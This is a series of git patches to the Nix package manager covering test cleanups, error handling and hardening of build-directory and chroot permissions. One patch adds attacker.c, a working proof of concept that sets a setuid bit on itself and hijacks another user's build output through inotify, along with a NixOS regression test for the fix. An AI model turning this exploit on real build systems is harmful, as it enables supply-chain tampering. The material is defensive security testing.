 test "$(cat $TEST_ROOT/result/foobar)" = FOOBAR
diff --git a/tests/functional/nix-shell.sh b/tests/functional/nix-shell.sh
index 66aece38863..2c94705dec0 100755
--- a/tests/functional/nix-shell.sh
+++ b/tests/functional/nix-shell.sh
@@ -2,9 +2,7 @@
 
 source common.sh
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 if [[ -n ${CONTENT_ADDRESSED:-} ]]; then
     shellDotNix="$PWD/ca-shell.nix"
diff --git a/tests/functional/optimise-store.sh b/tests/functional/optimise-store.sh
index f010c5549ec..0bedafc4304 100755
--- a/tests/functional/optimise-store.sh
+++ b/tests/functional/optimise-store.sh
@@ -2,13 +2,14 @@
 
 source common.sh
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 outPath1=$(echo 'with import ./config.nix; mkDerivation { name = "foo1"; builder = builtins.toFile "builder" "mkdir $out; echo hello > $out/foo"; }' | nix-build - --no-out-link --auto-optimise-store)
 outPath2=$(echo 'with import ./config.nix; mkDerivation { name = "foo2"; builder = builtins.toFile "builder" "mkdir $out; echo hello > $out/foo"; }' | nix-build - --no-out-link --auto-optimise-store)
 
+TODO_NixOS # ignoring the client-specified setting 'auto-optimise-store', because it is a restricted setting and you are not a trusted user
+  # TODO: only continue when trusted user or root
+
 inode1="$(stat --format=%i $outPath1/foo)"
 inode2="$(stat --format=%i $outPath2/foo)"
 if [ "$inode1" != "$inode2" ]; then
diff --git a/tests/functional/pass-as-file.sh b/tests/functional/pass-as-file.sh
index 0b5605d0598..6487bfffd2d 100755
--- a/tests/functional/pass-as-file.sh
+++ b/tests/functional/pass-as-file.sh
@@ -2,9 +2,7 @@
 
 source common.sh
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 outPath=$(nix-build --no-out-link -E "
 with import ./config.nix;
diff --git a/tests/functional/placeholders.sh b/tests/functional/placeholders.sh
index d4e09a91bfa..33ec0c2b7d7 100755
--- a/tests/functional/placeholders.sh
+++ b/tests/functional/placeholders.sh
@@ -2,9 +2,7 @@
 
 source common.sh
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 nix-build --no-out-link -E '
   with import ./config.nix;
diff --git a/tests/functional/pure-eval.sh b/tests/functional/pure-eval.sh
index 8a18dec6e28..25038109982 100755
--- a/tests/functional/pure-eval.sh
+++ b/tests/functional/pure-eval.sh
@@ -2,9 +2,7 @@
 
 source common.sh
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 nix eval --expr 'assert 1 + 2 == 3; true'
 
diff --git a/tests/functional/readfile-context.sh b/tests/functional/readfile-context.sh
index 0ef549c8d12..cb9ef62347e 100755
--- a/tests/functional/readfile-context.sh
+++ b/tests/functional/readfile-context.sh
@@ -2,7 +2,7 @@
 
 source common.sh
 
-TODO_NixOS
+TODO_NixOS # NixOS doesn't provide $NIX_STATE_DIR (and shouldn't)
 
 clearStore
 
diff --git a/tests/functional/recursive.sh b/tests/functional/recursive.sh
index 6b255e81ae1..640fb92d2c5 100755
--- a/tests/functional/recursive.sh
+++ b/tests/functional/recursive.sh
@@ -2,7 +2,7 @@
 
 source common.sh
 
-TODO_NixOS
+TODO_NixOS # can't enable a sandbox feature easily
 
 enableFeatures 'recursive-nix'
 restartDaemon
diff --git a/tests/functional/restricted.sh b/tests/functional/restricted.sh
index 917a554c514..915d973b0dd 100755
--- a/tests/functional/restricted.sh
+++ b/tests/functional/restricted.sh
@@ -2,9 +2,7 @@
 
 source common.sh
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 nix-instantiate --restrict-eval --eval -E '1 + 2'
 (! nix-instantiate --eval --restrict-eval ./restricted.nix)
diff --git a/tests/functional/search.sh b/tests/functional/search.sh
index 1195c2a066f..3fadecd02dd 100755
--- a/tests/functional/search.sh
+++ b/tests/functional/search.sh
@@ -2,9 +2,7 @@
 
 source common.sh
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 clearCache
 
 (( $(nix search -f search.nix '' hello | wc -l) > 0 ))
diff --git a/tests/functional/selfref-gc.sh b/tests/functional/selfref-gc.sh
index a5e368b51ce..518aea66b14 100755
--- a/tests/functional/selfref-gc.sh
+++ b/tests/functional/selfref-gc.sh
@@ -4,9 +4,7 @@ source common.sh
 
 requireDaemonNewerThan "2.6.0pre20211215"
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 nix-build --no-out-link -E '
   with import ./config.nix;
diff --git a/tests/functional/signing.sh b/tests/functional/signing.sh
index d268fd116df..890d1446f4f 100755
--- a/tests/functional/signing.sh
+++ b/tests/functional/signing.sh
@@ -2,9 +2,7 @@
 
 source common.sh
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 clearCache
 
 nix-store --generate-binary-cache-key cache1.example.org $TEST_ROOT/sk1 $TEST_ROOT/pk1
@@ -18,6 +16,7 @@ outPath=$(nix-build dependencies.nix --no-out-link --secret-key-files "$TEST_ROO
 # Verify that the path got signed.
 info=$(nix path-info --json $outPath)
 echo $info | jq -e '.[] | .ultimate == true'
+TODO_NixOS # looks like an actual bug? Following line fails on NixOS:
 echo $info | jq -e '.[] | .signatures.[] | select(startswith("cache1.example.org"))'
 echo $info | jq -e '.[] | .signatures.[] | select(startswith("cache2.example.org"))'
 
diff --git a/tests/functional/structured-attrs.sh b/tests/functional/structured-attrs.sh
index 32d4c995721..ec1282668fd 100755
--- a/tests/functional/structured-attrs.sh
+++ b/tests/functional/structured-attrs.sh
@@ -6,9 +6,7 @@ source common.sh
 # tests for the older versions
 requireDaemonNewerThan "2.4pre20210712"
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 rm -f $TEST_ROOT/result
 
@@ -23,6 +21,8 @@ env NIX_PATH=nixpkgs=shell.nix nix-shell structured-attrs-shell.nix \
 
 nix develop -f structured-attrs-shell.nix -c bash -c 'test "3" = "$(jq ".my.list|length" < $NIX_ATTRS_JSON_FILE)"'
 
+TODO_NixOS # following line fails.
+
 # `nix develop` is a slightly special way of dealing with environment vars, it parses
 # these from a shell-file exported from a derivation. This is to test especially `outputs`
 # (which is an associative array in thsi case) being fine.
diff --git a/tests/functional/suggestions.sh b/tests/functional/suggestions.sh
index 1140e4f78ef..8db6f7b97f3 100755
--- a/tests/functional/suggestions.sh
+++ b/tests/functional/suggestions.sh
@@ -2,9 +2,7 @@
 
 source common.sh
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 cd "$TEST_HOME"
 
diff --git a/tests/functional/tarball.sh b/tests/functional/tarball.sh
index eb541f3bb0d..a2824cd1239 100755
--- a/tests/functional/tarball.sh
+++ b/tests/functional/tarball.sh
@@ -2,9 +2,7 @@
 
 source common.sh
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 rm -rf $TEST_HOME
 
diff --git a/tests/functional/why-depends.sh b/tests/functional/why-depends.sh
index 1ce66f1543c..ce53546d8be 100755
--- a/tests/functional/why-depends.sh
+++ b/tests/functional/why-depends.sh
@@ -2,9 +2,7 @@
 
 source common.sh
 
-TODO_NixOS
-
-clearStore
+clearStoreIfPossible
 
 cp ./dependencies.nix ./dependencies.builder0.sh ./config.nix $TEST_HOME
 

From 7c9f3eeef8f3946a833b5336f8b0339766647058 Mon Sep 17 00:00:00 2001
From: Robert Hensing <roberth@users.noreply.github.com>
Date: Wed, 19 Jun 2024 21:46:01 +0200
Subject: [PATCH 384/528] tests/functional/common/init.sh: Use parentheses
 around negation

roberth: Not strictly necessary, but probably a good habit

Co-authored-by: Eelco Dolstra <edolstra@gmail.com>
---
 tests/functional/common/init.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests/functional/common/init.sh b/tests/functional/common/init.sh
index 19cef5af93a..405ba3090b5 100755
--- a/tests/functional/common/init.sh
+++ b/tests/functional/common/init.sh
@@ -9,7 +9,7 @@ if isTestOnNixOS; then
 
   export NIX_USER_CONF_FILES="$test_nix_conf_dir/nix.conf"
   mkdir -p "$test_nix_conf_dir" "$TEST_HOME"
-  ! test -e "$test_nix_conf"
+  (! test -e "$test_nix_conf")
   cat > "$test_nix_conf_dir/nix.conf" <<EOF
 experimental-features = nix-command flakes
 flake-registry = $TEST_ROOT/registry.json

From dcee46a0efc7bf638d92e3ae80520bf8047d428e Mon Sep 17 00:00:00 2001
From: Robert Hensing <roberth@users.noreply.github.com>
Date: Thu, 20 Jun 2024 14:49:53 +0200
Subject: [PATCH 385/528] Apply suggestions from code review

Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
---
 tests/functional/common/init.sh | 1 +
 tests/nixos/quick-build.nix     | 2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/tests/functional/common/init.sh b/tests/functional/common/init.sh
index 405ba3090b5..eb6be7eb0ad 100755
--- a/tests/functional/common/init.sh
+++ b/tests/functional/common/init.sh
@@ -11,6 +11,7 @@ if isTestOnNixOS; then
   mkdir -p "$test_nix_conf_dir" "$TEST_HOME"
   (! test -e "$test_nix_conf")
   cat > "$test_nix_conf_dir/nix.conf" <<EOF
+# TODO: this is not needed for all tests and prevents stable commands from be tested in isolation
 experimental-features = nix-command flakes
 flake-registry = $TEST_ROOT/registry.json
 show-trace = true
diff --git a/tests/nixos/quick-build.nix b/tests/nixos/quick-build.nix
index 10f4215e5de..37169b4e2e0 100644
--- a/tests/nixos/quick-build.nix
+++ b/tests/nixos/quick-build.nix
@@ -11,7 +11,7 @@ in
         When iterating on the functional tests, it's recommended to "set" this
         to `true`, so that changes to the functional tests don't require any
         recompilation of the package.
-        You can do so by buildin the `.quickBuild` attribute on the check package,
+        You can do so by building the `.quickBuild` attribute on the check package,
         e.g:
         ```console
         nix build .#hydraJobs.functional_user.quickBuild

From 85b7989764a00f5fa5a94d8ce29e4ac25434e7ac Mon Sep 17 00:00:00 2001
From: siddhantCodes <siddhantk232@gmail.com>
Date: Thu, 20 Jun 2024 19:53:25 +0530
Subject: [PATCH 386/528] fix: handle errors in `nix::createDirs`

the `std::filesystem::create_directories` can fail due to insufficient
permissions. We convert this error into a `SysError` and catch it
wherever required.
---
 src/libcmd/repl-interacter.cc | 4 ++--
 src/libstore/store-api.cc     | 2 +-
 src/libutil/file-system.cc    | 6 +++++-
 3 files changed, 8 insertions(+), 4 deletions(-)

diff --git a/src/libcmd/repl-interacter.cc b/src/libcmd/repl-interacter.cc
index 254a86d7b05..eb4361e2562 100644
--- a/src/libcmd/repl-interacter.cc
+++ b/src/libcmd/repl-interacter.cc
@@ -107,8 +107,8 @@ ReadlineLikeInteracter::Guard ReadlineLikeInteracter::init(detail::ReplCompleter
     rl_readline_name = "nix-repl";
     try {
         createDirs(dirOf(historyFile));
-    } catch (std::filesystem::filesystem_error & e) {
-        warn(e.what());
+    } catch (SystemError & e) {
+        logWarning(e.info());
     }
 #ifndef USE_READLINE
     el_hist_size = 1000;
diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc
index ed52753776f..2edb56510cc 100644
--- a/src/libstore/store-api.cc
+++ b/src/libstore/store-api.cc
@@ -1304,7 +1304,7 @@ ref<Store> openStore(StoreReference && storeURI)
                 if (!pathExists(chrootStore)) {
                     try {
                         createDirs(chrootStore);
-                    } catch (std::filesystem::filesystem_error & e) {
+                    } catch (SystemError & e) {
                         return std::make_shared<LocalStore>(params);
                     }
                     warn("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore);
diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
index 5f269b7c0dc..443ccf8290d 100644
--- a/src/libutil/file-system.cc
+++ b/src/libutil/file-system.cc
@@ -415,7 +415,11 @@ void deletePath(const fs::path & path)
 
 void createDirs(const Path & path)
 {
-    fs::create_directories(path);
+    try {
+        fs::create_directories(path);
+    } catch (fs::filesystem_error & e) {
+        throw SysError("creating directory '%1%'", path);
+    }
 }
 
 

From d9684664c8693b3f1d1ad69b6ed3dbce363748b0 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 20 Jun 2024 20:26:07 +0200
Subject: [PATCH 387/528] Revert "tests/functional/common/init.sh: Use
 parentheses around negation"

ShellCheck doesn't want us to add extra parentheses for show.

This reverts commit 7c9f3eeef8f3946a833b5336f8b0339766647058.
---
 tests/functional/common/init.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests/functional/common/init.sh b/tests/functional/common/init.sh
index eb6be7eb0ad..d33ad5d5744 100755
--- a/tests/functional/common/init.sh
+++ b/tests/functional/common/init.sh
@@ -9,7 +9,7 @@ if isTestOnNixOS; then
 
   export NIX_USER_CONF_FILES="$test_nix_conf_dir/nix.conf"
   mkdir -p "$test_nix_conf_dir" "$TEST_HOME"
-  (! test -e "$test_nix_conf")
+  ! test -e "$test_nix_conf"
   cat > "$test_nix_conf_dir/nix.conf" <<EOF
 # TODO: this is not needed for all tests and prevents stable commands from be tested in isolation
 experimental-features = nix-command flakes

From 717f3eea3981786a1092d975bb811fe93cf7a66e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
 <theophane.hufschmitt@tweag.io>
Date: Mon, 8 Apr 2024 14:51:54 +0200
Subject: [PATCH 388/528] Add a test for the user sandboxing

---
 tests/nixos/default.nix                 |   2 +
 tests/nixos/user-sandboxing/attacker.c  |  82 +++++++++++++++
 tests/nixos/user-sandboxing/default.nix | 127 ++++++++++++++++++++++++
 3 files changed, 211 insertions(+)
 create mode 100644 tests/nixos/user-sandboxing/attacker.c
 create mode 100644 tests/nixos/user-sandboxing/default.nix

diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix
index 710f8a2731a..2cf7a64c6fa 100644
--- a/tests/nixos/default.nix
+++ b/tests/nixos/default.nix
@@ -132,4 +132,6 @@ in
   ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
 
   gzip-content-encoding = runNixOSTestFor "x86_64-linux" ./gzip-content-encoding.nix;
+
+  user-sandboxing = runNixOSTestFor "x86_64-linux" ./user-sandboxing;
 }
diff --git a/tests/nixos/user-sandboxing/attacker.c b/tests/nixos/user-sandboxing/attacker.c
new file mode 100644
index 00000000000..3bd729c0444
--- /dev/null
+++ b/tests/nixos/user-sandboxing/attacker.c
@@ -0,0 +1,82 @@
+#define _GNU_SOURCE
+
+#include <fcntl.h>
+#include <stdio.h>
+#include <sys/inotify.h>
+#include <sys/stat.h>
+#include <unistd.h>
+#include <stdlib.h>
+
+#define SYS_fchmodat2 452
+
+int fchmodat2(int dirfd, const char *pathname, mode_t mode, int flags) {
+  return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags);
+}
+
+int main(int argc, char **argv) {
+  if (argc <= 1) {
+    // stage 1: place the setuid-builder executable
+
+    // make the build directory world-accessible first
+    chmod(".", 0755);
+
+    if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) {
+      perror("Setting the suid bit on attacker");
+      exit(-1);
+    }
+
+  } else {
+    // stage 2: corrupt the victim derivation while it's building
+
+    // prevent the kill
+    if (setresuid(-1, -1, getuid())) {
+      perror("setresuid");
+      exit(-1);
+    }
+
+    if (fork() == 0) {
+
+      // wait for the victim to build
+      int fd = inotify_init();
+      inotify_add_watch(fd, argv[1], IN_CREATE);
+      int dirfd = open(argv[1], O_DIRECTORY);
+      if (dirfd < 0) {
+        perror("opening the global build directory");
+        exit(-1);
+      }
+      char buf[4096];
+      fprintf(stderr, "Entering the inotify loop\n");
+      for (;;) {
+        ssize_t len = read(fd, buf, sizeof(buf));
+        struct inotify_event *ev;
+        for (char *pe = buf; pe < buf + len;
+            pe += sizeof(struct inotify_event) + ev->len) {
+          ev = (struct inotify_event *)pe;
+          fprintf(stderr, "folder %s created\n", ev->name);
+          // wait a bit to prevent racing against the creation
+          sleep(1);
+          int builddir = openat(dirfd, ev->name, O_DIRECTORY);
+          if (builddir < 0) {
+            perror("opening the build directory");
+            continue;
+          }
+          int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC);
+          if (resultfile < 0) {
+            perror("opening the hijacked file");
+            continue;
+          }
+          int writeres = write(resultfile, "bad\n", 4);
+          if (writeres < 0) {
+            perror("writing to the hijacked file");
+            continue;
+          }
+          fprintf(stderr, "Hijacked the build for %s\n", ev->name);
+          return 0;
+        }
+      }
+    }
+
+    exit(0);
+  }
+}
+
diff --git a/tests/nixos/user-sandboxing/default.nix b/tests/nixos/user-sandboxing/default.nix
new file mode 100644
index 00000000000..cdb0c7eb603
--- /dev/null
+++ b/tests/nixos/user-sandboxing/default.nix
@@ -0,0 +1,127 @@
+{ config, ... }:
+
+let
+  pkgs = config.nodes.machine.nixpkgs.pkgs;
+
+  attacker = pkgs.runCommandWith {
+    name = "attacker";
+    stdenv = pkgs.pkgsStatic.stdenv;
+  } ''
+    $CC -static -o $out ${./attacker.c}
+  '';
+
+  try-open-build-dir = pkgs.writeScript "try-open-build-dir" ''
+    export PATH=${pkgs.coreutils}/bin:$PATH
+
+    set -x
+
+    chmod 700 .
+
+    touch foo
+
+    # Synchronisation point: create a world-writable fifo and wait for someone
+    # to write into it
+    mkfifo syncPoint
+    chmod 777 syncPoint
+    cat syncPoint
+
+    touch $out
+
+    set +x
+  '';
+
+  create-hello-world = pkgs.writeScript "create-hello-world" ''
+    export PATH=${pkgs.coreutils}/bin:$PATH
+
+    set -x
+
+    echo "hello, world" > result
+
+    # Synchronisation point: create a world-writable fifo and wait for someone
+    # to write into it
+    mkfifo syncPoint
+    chmod 777 syncPoint
+    cat syncPoint
+
+    cp result $out
+
+    set +x
+  '';
+
+in
+{
+  name = "sandbox-setuid-leak";
+
+  nodes.machine =
+    { config, lib, pkgs, ... }:
+    { virtualisation.writableStore = true;
+      nix.settings.substituters = lib.mkForce [ ];
+      nix.nrBuildUsers = 1;
+      virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell attacker try-open-build-dir create-hello-world pkgs.socat ];
+      boot.kernelPackages = pkgs.linuxPackages_latest;
+      users.users.alice = {
+        isNormalUser = true;
+      };
+    };
+
+  testScript = { nodes }: ''
+    start_all()
+
+    with subtest("A builder can't give access to its build directory"):
+        # Make sure that a builder can't change the permissions on its build
+        # directory to the point of opening it up to external users
+
+        # A derivation whose builder tries to make its build directory as open
+        # as possible and wait for someone to hijack it
+        machine.succeed(r"""
+          nix-build -v -E '
+            builtins.derivation {
+              name = "open-build-dir";
+              system = builtins.currentSystem;
+              builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
+              args = [ (builtins.storePath "${try-open-build-dir}") ];
+          }' >&2 &
+        """.strip())
+
+        # Wait for the build to be ready
+        # This is OK because it runs as root, so we can access everything
+        machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/syncPoint")
+
+        # But Alice shouldn't be able to access the build directory
+        machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0'")
+        machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/bar'")
+        machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/foo'")
+
+        # Tell the user to finish the build
+        machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/syncPoint")
+
+    with subtest("Being able to execute stuff as the build user doesn't give access to the build dir"):
+        machine.succeed(r"""
+          nix-build -E '
+            builtins.derivation {
+              name = "innocent";
+              system = builtins.currentSystem;
+              builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
+              args = [ (builtins.storePath "${create-hello-world}") ];
+          }' >&2 &
+        """.strip())
+        machine.wait_for_file("/tmp/nix-build-innocent.drv-0/syncPoint")
+
+        # The build ran as `nixbld1` (which is the only build user on the
+        # machine), but a process running as `nixbld1` outside the sandbox
+        # shouldn't be able to touch the build directory regardless
+        machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0'")
+        machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/result'")
+
+        # Finish the build
+        machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/syncPoint")
+
+        # Check that the build was not affected
+        machine.succeed(r"""
+          cat ./result
+          test "$(cat ./result)" = "hello, world"
+        """.strip())
+  '';
+
+}
+

From 1d3696f0fb88d610abc234a60e0d6d424feafdf1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
 <theophane.hufschmitt@tweag.io>
Date: Tue, 2 Apr 2024 17:06:48 +0200
Subject: [PATCH 389/528] Run the builds in a daemon-controled directory

Instead of running the builds under
`$TMPDIR/{unique-build-directory-owned-by-the-build-user}`, run them
under `$TMPDIR/{unique-build-directory-owned-by-the-daemon}/{subdir-owned-by-the-build-user}`
where the build directory is only readable and traversable by the daemon user.

This achieves two things:

1. It prevents builders from making their build directory world-readable
   (or even writeable), which would allow the outside world to interact
   with them.
2. It prevents external processes running as the build user (either
   because that somehow leaked, maybe as a consequence of 1., or because
   `build-users` isn't in use) from gaining access to the build
   directory.
---
 .../unix/build/local-derivation-goal.cc       |  5 +++--
 src/libutil/file-system.cc                    |  5 +++++
 src/libutil/file-system.hh                    |  5 +++++
 tests/functional/check.sh                     |  2 +-
 tests/nixos/user-sandboxing/default.nix       | 20 ++++++++++---------
 5 files changed, 25 insertions(+), 12 deletions(-)

diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
index a9943973839..2e75aa03136 100644
--- a/src/libstore/unix/build/local-derivation-goal.cc
+++ b/src/libstore/unix/build/local-derivation-goal.cc
@@ -503,8 +503,9 @@ void LocalDerivationGoal::startBuilder()
 
     /* Create a temporary directory where the build will take
        place. */
-    tmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700);
-
+    auto parentTmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700);
+    tmpDir = parentTmpDir + "/build";
+    createDir(tmpDir, 0700);
     chownToBuilder(tmpDir);
 
     for (auto & [outputName, status] : initialOutputs) {
diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
index 9d614255693..cadcab96d8f 100644
--- a/src/libutil/file-system.cc
+++ b/src/libutil/file-system.cc
@@ -412,6 +412,11 @@ void deletePath(const fs::path & path)
     deletePath(path, dummy);
 }
 
+void createDir(const Path &path, mode_t mode)
+{
+    if (mkdir(path.c_str(), mode) == -1)
+        throw SysError("creating directory '%1%'", path);
+}
 
 Paths createDirs(const Path & path)
 {
diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
index c6b6ecedbb7..e7bf087eb89 100644
--- a/src/libutil/file-system.hh
+++ b/src/libutil/file-system.hh
@@ -157,6 +157,11 @@ inline Paths createDirs(PathView path)
     return createDirs(Path(path));
 }
 
+/**
+ * Create a single directory.
+ */
+void createDir(const Path & path, mode_t mode = 0755);
+
 /**
  * Create a symlink.
  */
diff --git a/tests/functional/check.sh b/tests/functional/check.sh
index efb93eeb061..a5e61b035f7 100755
--- a/tests/functional/check.sh
+++ b/tests/functional/check.sh
@@ -46,7 +46,7 @@ test_custom_build_dir() {
       --no-out-link --keep-failed --option build-dir "$TEST_ROOT/custom-build-dir" 2> $TEST_ROOT/log || status=$?
   [ "$status" = "100" ]
   [[ 1 == "$(count "$customBuildDir/nix-build-"*)" ]]
-  local buildDir="$customBuildDir/nix-build-"*
+  local buildDir="$customBuildDir/nix-build-"*"/build"
   grep $checkBuildId $buildDir/checkBuildId
 }
 test_custom_build_dir
diff --git a/tests/nixos/user-sandboxing/default.nix b/tests/nixos/user-sandboxing/default.nix
index cdb0c7eb603..8a16f44e84d 100644
--- a/tests/nixos/user-sandboxing/default.nix
+++ b/tests/nixos/user-sandboxing/default.nix
@@ -16,6 +16,8 @@ let
     set -x
 
     chmod 700 .
+    # Shouldn't be able to open the root build directory
+    (! chmod 700 ..)
 
     touch foo
 
@@ -85,15 +87,15 @@ in
 
         # Wait for the build to be ready
         # This is OK because it runs as root, so we can access everything
-        machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/syncPoint")
+        machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/build/syncPoint")
 
         # But Alice shouldn't be able to access the build directory
-        machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0'")
-        machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/bar'")
-        machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/foo'")
+        machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0/build'")
+        machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/build/bar'")
+        machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/build/foo'")
 
         # Tell the user to finish the build
-        machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/syncPoint")
+        machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/build/syncPoint")
 
     with subtest("Being able to execute stuff as the build user doesn't give access to the build dir"):
         machine.succeed(r"""
@@ -105,16 +107,16 @@ in
               args = [ (builtins.storePath "${create-hello-world}") ];
           }' >&2 &
         """.strip())
-        machine.wait_for_file("/tmp/nix-build-innocent.drv-0/syncPoint")
+        machine.wait_for_file("/tmp/nix-build-innocent.drv-0/build/syncPoint")
 
         # The build ran as `nixbld1` (which is the only build user on the
         # machine), but a process running as `nixbld1` outside the sandbox
         # shouldn't be able to touch the build directory regardless
-        machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0'")
-        machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/result'")
+        machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0/build'")
+        machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/build/result'")
 
         # Finish the build
-        machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/syncPoint")
+        machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/build/syncPoint")
 
         # Check that the build was not affected
         machine.succeed(r"""

From d99c868b0410d44faf547eb5ac923ea62abb649f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
 <theophane.hufschmitt@tweag.io>
Date: Tue, 9 Apr 2024 10:48:05 +0200
Subject: [PATCH 390/528] Add a release note for the build-dir hardening

---
 doc/manual/rl-next/harden-user-sandboxing.md | 8 ++++++++
 1 file changed, 8 insertions(+)
 create mode 100644 doc/manual/rl-next/harden-user-sandboxing.md

diff --git a/doc/manual/rl-next/harden-user-sandboxing.md b/doc/manual/rl-next/harden-user-sandboxing.md
new file mode 100644
index 00000000000..fa3c49fc08a
--- /dev/null
+++ b/doc/manual/rl-next/harden-user-sandboxing.md
@@ -0,0 +1,8 @@
+---
+synopsis: Harden the user sandboxing
+significance: significant
+issues:
+prs: <only provided once merged>
+---
+
+The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user.

From ede95b1fc133bd1d8eabc862f2e3e03c024cb755 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Tue, 14 May 2024 13:00:00 +0200
Subject: [PATCH 391/528] Put the chroot inside a directory that isn't
 group/world-accessible

Previously, the .chroot directory had permission 750 or 755 (depending
on the uid-range system feature) and was owned by root/nixbld. This
makes it possible for any nixbld user (if uid-range is disabled) or
any user (if uid-range is enabled) to inspect the contents of the
chroot of an active build and maybe interfere with it (e.g. via /tmp
in the chroot, which has 1777 permission).

To prevent this, the root is now a subdirectory of .chroot, which has
permission 700 and is owned by root/root.
---
 src/libstore/unix/build/local-derivation-goal.cc | 14 +++++++++-----
 src/libstore/unix/build/local-derivation-goal.hh | 10 ++++++++++
 2 files changed, 19 insertions(+), 5 deletions(-)

diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
index 2e75aa03136..d51a4817c22 100644
--- a/src/libstore/unix/build/local-derivation-goal.cc
+++ b/src/libstore/unix/build/local-derivation-goal.cc
@@ -673,15 +673,19 @@ void LocalDerivationGoal::startBuilder()
            environment using bind-mounts.  We put it in the Nix store
            so that the build outputs can be moved efficiently from the
            chroot to their final location. */
-        chrootRootDir = worker.store.Store::toRealPath(drvPath) + ".chroot";
-        deletePath(chrootRootDir);
+        chrootParentDir = worker.store.Store::toRealPath(drvPath) + ".chroot";
+        deletePath(chrootParentDir);
 
         /* Clean up the chroot directory automatically. */
-        autoDelChroot = std::make_shared<AutoDelete>(chrootRootDir);
+        autoDelChroot = std::make_shared<AutoDelete>(chrootParentDir);
 
-        printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootRootDir);
+        printMsg(lvlChatty, "setting up chroot environment in '%1%'", chrootParentDir);
+
+        if (mkdir(chrootParentDir.c_str(), 0700) == -1)
+            throw SysError("cannot create '%s'", chrootRootDir);
+
+        chrootRootDir = chrootParentDir + "/root";
 
-        // FIXME: make this 0700
         if (mkdir(chrootRootDir.c_str(), buildUser && buildUser->getUIDCount() != 1 ? 0755 : 0750) == -1)
             throw SysError("cannot create '%1%'", chrootRootDir);
 
diff --git a/src/libstore/unix/build/local-derivation-goal.hh b/src/libstore/unix/build/local-derivation-goal.hh
index f25cb942412..77d07de9899 100644
--- a/src/libstore/unix/build/local-derivation-goal.hh
+++ b/src/libstore/unix/build/local-derivation-goal.hh
